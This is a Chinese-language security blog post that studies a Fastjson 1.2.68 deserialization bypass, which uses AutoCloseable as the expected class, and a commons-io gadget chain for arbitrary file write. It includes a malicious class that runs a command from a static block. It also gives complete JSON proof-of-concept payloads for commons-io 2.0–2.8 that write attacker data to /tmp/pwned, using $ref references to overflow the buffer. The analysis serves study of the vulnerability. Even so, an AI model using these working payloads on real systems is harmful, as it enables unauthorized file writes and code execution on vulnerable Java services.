ORXIAIN ISLAND
博客 / BLOG POST
2025 - 2026
READING

JavaSec - Fastjson 1.2.68绕过与文件写入

+

本来想看看这文件怎么写入,但好像用到了fastjson1.2.68的期望类反序列化绕过,先学这个

JSON.parseObject()
  -> DefaultJSONParser.parse()
    -> DefaultJSONParser.parseObject()
      -> JavaBeanDeserializer.deserialze()
        -> ParserConfig.checkAutoType()

依然来到checkAutoType方法,跨月了这么多版本官方对该方法进行了很多修改,我们先用47的payload尝试将类加载到缓存试试

在48版本,官方修复了通过缓存加载类的漏洞,默认关闭缓存并且对缓存加载类增加严格限制,之后在68版本,对CheckAutoType添加了SafeMode模式来完全关闭autotype功能,不过默认关闭⬇️

接下来在这里,判断了type属性的类是否在白名单里,并且检查是否开启了AutoTypeSupport和是否是期望类,然后计算类的hash值,与白名单类hash表内查询,查到则直接加载返回clazz,如果在deny的表里就直接报错不进行反序列化处理,也不在这个表里则继续进行跳出循环⬇️

之后就算从缓存加载JdbcRowSetImpl也会因为不能通过期望类(expectClassFlag为Flase)而无法进行加载

期望类的利用

期望判断⬇️

当expectclassflag为true且autotypesupport为flase时,可以运行到⬇️(ParseConfig 1400行)进行类加载,为了让expectclassflag为true,需要让expectclass不为判断中的类,最终加载类与期望类无关,传入一个不会被匹配到的类即可,当然也不止这一个条件

这个判断会加载typename参数的类,typename参数由checkAutoType的构造函数传入,构造函数的第一个参数是typename第二个是期望类

查看checkautotype方法都在哪儿被调用了,我们可以发现在JavaBeanDeserializer反序列化加载器中被调用了

期望类从deserializer构造方法的type传入⬇️

在DefaultJSONParser的调用反序列化加载器的地方,传入这个type,这里的type就是当前解析json数据里的@type属性,注意不要将type和typename搞混,typename是恶意类名

而为了调用JavaBeanDeserializer类的deserializer,首先需要获取JavaBeanDeserializer这个反序列化加载器,也就是说在getDerserializer方法这里不能匹配到任何其他类提前加载

那么我们的思路很明确了,叠两层@type,第一个用来获取触发JavaBeanDeserializer,第二个作为其参数传入JavaBeanDeserializer,触发第二次CheckAutotype,并使其期望类flag为True,最后实现loadclass执行静态代码块

利用具有一下限制:

  1. 第一个type需要是一个抽象类或者接口,且在第一次进行CheckAutoType时需要能返回一个类,我们也可以很方便的到记录了已缓存类的mapping中找一个

  2. 第二个type需要是第一个type的实现类或者子类

为什么得是实现类或者子类呢?我们在checkautotype里准备类加载的代码之前判断了当前类(恶意类)是否与期望类的类型兼容

缓存mapping:

我们使用java.lang.AutoCloseable类

复现与调试

恶意类:

package org.example;

public class TestEvil implements java.lang.AutoCloseable{

    @Override
    public void close() throws Exception {
    }

    static {
        try {
            Runtime.getRuntime().exec("xcalc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Main:

static String payload3 = "{" +
        "\"@type\":\"java.lang.AutoCloseable\"," +
        "\"@type\":\"org.example.TestEvil\"" +
        "}";

public static void main(String[] args) {
    JSON.parseObject(payload3);
}

进到DefaultJSONParser调用DefaultJSONParser的parse方法解析字符串,在里面调用parseObject进行对象的解析

跟随,调用到第一次checkAutoType⬇️

从checkAutoType方法中,通过缓存获取到对应的类并返回给clazz

接着直接跟到反序列化器获取,在这里取到JavaBeanDeserializer作为反序列化器

获取之后判断时候需要进行特殊处理,然后就调用deserializer了⬇️

调用到里面的checkAutoType方法,这里是第二次调用,传入恶意类和期望类

绕过期望判断⬇️

最终成功调用typeutils.loadClass

Common-io 文件写入

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

暂时无法在飞书文档外展示此内容

voidfyoo佬的文章对于链子的发现过程记录很清晰,对于1.2.68版本的fastjson的利用利用条件比较苛刻,所以放眼第三方包,在maven前100找到了common-io中有符合继承了AutoCloseable的objectstream类,因为这个包是用来干IO操作的,继承了AutoCloseable的类比较多

那么我们的文件写入过程如下:首先需要获取到一个FileoutputStream指定要写入的文件名和路径,再找一个outputstream类并将要写入的内容写到里面,最后再找一个调用outputstream的flush()方法,将内容从缓冲区写入到文件中去

任意read方法调用

XmlStreamReader.doHttpStream ->
BOMInputStream.getBomCharsetName ->
BOMInputStream.getBom ->
BufferedInputStream.read ->
BufferedInputStream.fill ->
InputStream.read(byte[], int, int)

通过XmlStreamReader的构造函数XmlStreamReader(final InputStream is, final String httpContentType,final boolean lenient, final String defaultEncoding)接受一个Inputstream对象,其中调用了doHttpStream方法⬇️

可以看到方法将is封装为BufferedInputstream并用BOMInputstream封装为bom,调用了doHttpStream⬇️

来到getBOMCharsetName, 调用了read方法,然后fill()的最后调用了read方法

getInIfOpen方法从in重新拿到InputStream对象,调用它的read方法

字符串构造与inputstream对象构造

我们关注到ReaderInputStream方法的read(final byte[] b, int off, int len)方法

调用了fillBuffer(),在这个方法中调用了reader的read方法

fillBuffer用来将读取reader的字符并将其放入内部的字符缓冲区(encoderIn)

该传入哪个reader类呢?注意到CharSequenceReader的read方法

其中又调用了⬇️,它返回了CharSequenceReader构造函数传入的charSequence属性的内容

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.ReaderInputStream",
  "reader":{
    "@type":"org.apache.commons.io.input.CharSequenceReader",
    "charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
  },
  "charsetName":"UTF-8",
  "bufferSize":1024
}

Inputstream转outputstream

我们关注到TeeInputStream的read方法

它调用了branch(构造方法传入)的write方法,也就是outputstream对象的write方法⬇️,那很好了

outputstream到文件写入

关注到WriterOutputStream类的write方法

调用了flushOutput⬇️,接着调用了writer的write方法,这里writer通过构造方法传入

传哪个?并且我们需要有个fileoutputstream对象,关注到FileWriterWithEncoding,它的write方法又调用了这个类的类属性中的writer,这个writer是从initWriter方法中被赋值的,可以看到新建了一个FileOutputStream对象传入OutputStreamWriter⬇️

那么最后调用的是OutputStreamWriter的write方法,最后调用到StreamEncoder的write将字符串写入输出流

StreamEncoder.write ->
StreamEncoder.implWrite ->
StreamEncoder.writeBytes

缓存非溢出绕过

原文指出,在最终的StreamEncoder.implWrit中,填满缓冲区之后才能进行writebytes

默认缓冲区大小为8192,我们任意read调用用到的BufferedInputstream大小在常数那里可以知道是4096

作者指出使用$ref循环引用,重复向一片缓冲区写入数据达到overflow

$ref是fastjson处理json数据时处理循环引用的东西⬇️,这样我们可以多次调用XmlStreamReader到read,向缓存区写入几次数据,以此达到overflow

"$ref": "$"          // 引用根对象
"$ref": "3"          // 引用路径为3的对象
"$ref": "$.list.0"   // 引用路径为$.list.0的对象

从智慧之神那里我们可以知道在StreamEncoder中的字符缓冲区的生命周期只有一个,所以多次写入的是同一个缓冲区

合体!

现在再来倒过来梳理一下用到的类和过程,因为是使用fastjson,我们可以操控大部分类构造方法时传入的属性

按照预想的文件写入流程,肯定需要一个FileOutputStream对象,我们从FileWriterWithEncoding的initWriter中可以获取到,通过调用TeeInputStream的read方法实现write方法调用,我们用它调用WriterOutputStream的write,继而在FileOutputStream的write中调用到OutputStreamWriter的write写入数据,Outputstream从TeeInputStream的构造方法中可以传入,在TeeInputStream的read方法中,inputstream转换为了outputstreaminputstream我们用ReaderInputStream,数据的写入我们使用了ReaderInputStream的read方法,我们控制它调用了CharSequenceReader的read,这个read返回的是在这个类的构造函数传入的charSequence

总结之后看这个payload就很清晰明了了

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
    "@type":"org.apache.commons.io.input.TeeInputStream",
    "input":{
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String","数据数据数据数据数据数据xxx"
        },
        "charsetName":"UTF-8",
        "bufferSize":1024
      },
      "branch":{
        "@type":"org.apache.commons.io.output.WriterOutputStream",
        "writer": {
          "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
          "file": "/tmp/pwned",
          "encoding": "UTF-8",
          "append": false
        },
        "charsetName": "UTF-8",
        "bufferSize": 1024,
        "writeImmediately": true
      },
      "closeBranch":true
    },
    "httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
  }

POC

2.0-2.6

使用$ref重复引用overflow

{
  "x": {
    "@type": "com.alibaba.fastjson.JSONObject",
    "input": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
          "@type": "java.lang.String"
          "aaaaaa...(长度要大于8192,实际写入前8192个字符)"
        },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },
      "branch": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.output.WriterOutputStream",
        "writer": {
          "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
          "file": "/tmp/pwned",
          "encoding": "UTF-8",
          "append": false
        },
        "charsetName": "UTF-8",
        "bufferSize": 1024,
        "writeImmediately": true
      },
      "trigger": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "is": {
          "@type": "org.apache.commons.io.input.TeeInputStream",
          "input": {
            "$ref": "$.input"
          },
          "branch": {
            "$ref": "$.branch"
          },
          "closeBranch": true
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "UTF-8"
      },
      "trigger2": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "is": {
          "@type": "org.apache.commons.io.input.TeeInputStream",
          "input": {
            "$ref": "$.input"
          },
          "branch": {
            "$ref": "$.branch"
          },
          "closeBranch": true
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "UTF-8"
      },
      "trigger3": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "is": {
          "@type": "org.apache.commons.io.input.TeeInputStream",
          "input": {
            "$ref": "$.input"
          },
          "branch": {
            "$ref": "$.branch"
          },
          "closeBranch": true
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "UTF-8"
      }
    }
  }
}

2.7-2.8

{
    "x": {
        "@type": "com.alibaba.fastjson.JSONObject",
        "input": {
            "@type": "java.lang.AutoCloseable",
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "org.apache.commons.io.input.CharSequenceReader",
                "charSequence": {
                    "@type": "java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
                    "start": 0,
                    "end": 2147483647
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024
            },
            "branch": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.output.WriterOutputStream",
                "writer": {
                    "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
                    "file": "/tmp/pwned",
                    "charsetName": "UTF-8",
                    "append": false
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024,
                "writeImmediately": true
            },
            "trigger": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "inputStream": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "$ref": "$.input"
                    },
                    "branch": {
                        "$ref": "$.branch"
                    },
                    "closeBranch": true
                },
                "httpContentType": "text/xml",
                "lenient": false,
                "defaultEncoding": "UTF-8"
            },
            "trigger2": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "inputStream": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "$ref": "$.input"
                    },
                    "branch": {
                        "$ref": "$.branch"
                    },
                    "closeBranch": true
                },
                "httpContentType": "text/xml",
                "lenient": false,
                "defaultEncoding": "UTF-8"
            },
            "trigger3": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "inputStream": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "$ref": "$.input"
                    },
                    "branch": {
                        "$ref": "$.branch"
                    },
                    "closeBranch": true
                },
                "httpContentType": "text/xml",
                "lenient": false,
                "defaultEncoding": "UTF-8"
            }
        }

Links

https://www.cnblogs.com/zpchcbd/p/14969606.html

https://www.cnblogs.com/zpchcbd/p/14970436.html

https://godownio.github.io/2024/10/28/fastjson-1.2.68-commons-io-xie-wen-jian/

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

END